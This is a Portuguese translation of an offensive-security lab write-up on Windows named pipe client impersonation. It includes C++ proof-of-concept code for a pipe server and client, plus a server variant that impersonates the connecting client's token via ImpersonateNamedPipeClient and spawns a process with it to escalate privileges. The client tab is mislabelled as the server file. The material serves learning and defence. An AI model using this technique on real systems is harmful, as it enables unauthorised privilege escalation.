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Impersonação de Cliente de Pipe Nomeado

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Esta informação foi copiada de https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation

Visão Geral

Um pipe é um bloco de memória compartilhada que os processos podem usar para comunicação e troca de dados.

Named Pipes é um mecanismo do Windows que permite que dois processos não relacionados troquem dados entre si, mesmo que os processos estejam localizados em duas redes diferentes. É muito semelhante à arquitetura cliente/servidor, pois existem noções como um servidor de pipe nomeado e um cliente de pipe nomeado.

Um servidor de pipe nomeado pode abrir um pipe nomeado com um nome pré-definido e, em seguida, um cliente de pipe nomeado pode se conectar a esse pipe por meio do nome conhecido. Uma vez estabelecida a conexão, a troca de dados pode começar.

Este laboratório se preocupa com um código PoC simples que permite:

  • criar um servidor de pipe nomeado burro de thread único que aceitará uma conexão de cliente
  • servidor de pipe nomeado escrever uma mensagem simples no pipe nomeado para que o cliente de pipe possa lê-la

Código

Abaixo está o PoC para o servidor e o cliente:

{% tabs %} {% tab title="namedPipeServer.cpp" %}

#include "pch.h"
#include <Windows.h>
#include <iostream>

int main() {
	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
	LPVOID pipeBuffer = NULL;
	HANDLE serverPipe;
	DWORD readBytes = 0;
	DWORD readBuffer = 0;
	int err = 0;
	BOOL isPipeConnected;
	BOOL isPipeOpen;
	wchar_t message[] = L"HELL";
	DWORD messageLenght = lstrlen(message) * 2;
	DWORD bytesWritten = 0;

	std::wcout << "Creating named pipe " << pipeName << std::endl;
	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
	
	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
	if (isPipeConnected) {
		std::wcout << "Incoming connection to " << pipeName << std::endl;
	}
	
	std::wcout << "Sending message: " << message << std::endl;
	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
	
	return 0;
}

{% endtab %}

{% tab title="namedPipeServer.cpp" %}

#include "pch.h"
#include <iostream>
#include <Windows.h>

const int MESSAGE_SIZE = 512;

int main()
{
	LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
	HANDLE clientPipe = NULL;
	BOOL isPipeRead = true;
	wchar_t message[MESSAGE_SIZE] = { 0 };
	DWORD bytesRead = 0;

	std::wcout << "Connecting to " << pipeName << std::endl;
	clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	
	while (isPipeRead) {
		isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
		std::wcout << "Received message: " << message;
	}

	return 0;
}

Execução

Abaixo mostra o servidor de pipe nomeado e o cliente de pipe nomeado funcionando como esperado:

Vale ressaltar que a comunicação de pipes nomeados por padrão usa o protocolo SMB:

Verificando como o processo mantém um identificador para o nosso pipe nomeado mantvydas-first-pipe:

Da mesma forma, podemos ver o cliente tendo um identificador aberto para o pipe nomeado:

Podemos até ver nosso pipe com powershell:

((Get-ChildItem \\.\pipe\).name)[-1..-5]

Impersonação de Token

{% hint style="info" %} Observe que, para impessoanar o token do processo do cliente, você precisa ter (o processo do servidor criando o pipe) o privilégio de token SeImpersonate {% endhint %}

É possível para o servidor de pipe nomeado impessoanar o contexto de segurança do cliente de pipe nomeado, aproveitando uma chamada de API ImpersonateNamedPipeClient, que por sua vez altera o token do thread atual do servidor de pipe nomeado com o token do cliente de pipe nomeado.

Podemos atualizar o código do servidor de pipe nomeado assim para alcançar a impessoação - observe que as modificações são vistas na linha 25 e abaixo:

int main() {
	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
	LPVOID pipeBuffer = NULL;
	HANDLE serverPipe;
	DWORD readBytes = 0;
	DWORD readBuffer = 0;
	int err = 0;
	BOOL isPipeConnected;
	BOOL isPipeOpen;
	wchar_t message[] = L"HELL";
	DWORD messageLenght = lstrlen(message) * 2;
	DWORD bytesWritten = 0;

	std::wcout << "Creating named pipe " << pipeName << std::endl;
	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
	
	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
	if (isPipeConnected) {
		std::wcout << "Incoming connection to " << pipeName << std::endl;
	}
	
	std::wcout << "Sending message: " << message << std::endl;
	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
	
	std::wcout << "Impersonating the client..." << std::endl;
	ImpersonateNamedPipeClient(serverPipe);
	err = GetLastError();	

	STARTUPINFO	si = {};
	wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
	PROCESS_INFORMATION pi = {};
	HANDLE threadToken = GetCurrentThreadToken();
	CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

	return 0;
}

Executando o servidor e conectando-se a ele com o cliente que está sendo executado sob o contexto de segurança administrator@offense.local, podemos ver que a thread principal do pipe do servidor nomeado assumiu o token do cliente do pipe nomeado - offense\administrator, embora o PipeServer.exe em si esteja sendo executado sob o contexto de segurança ws01\mantvydas. Parece ser uma boa maneira de escalar privilégios?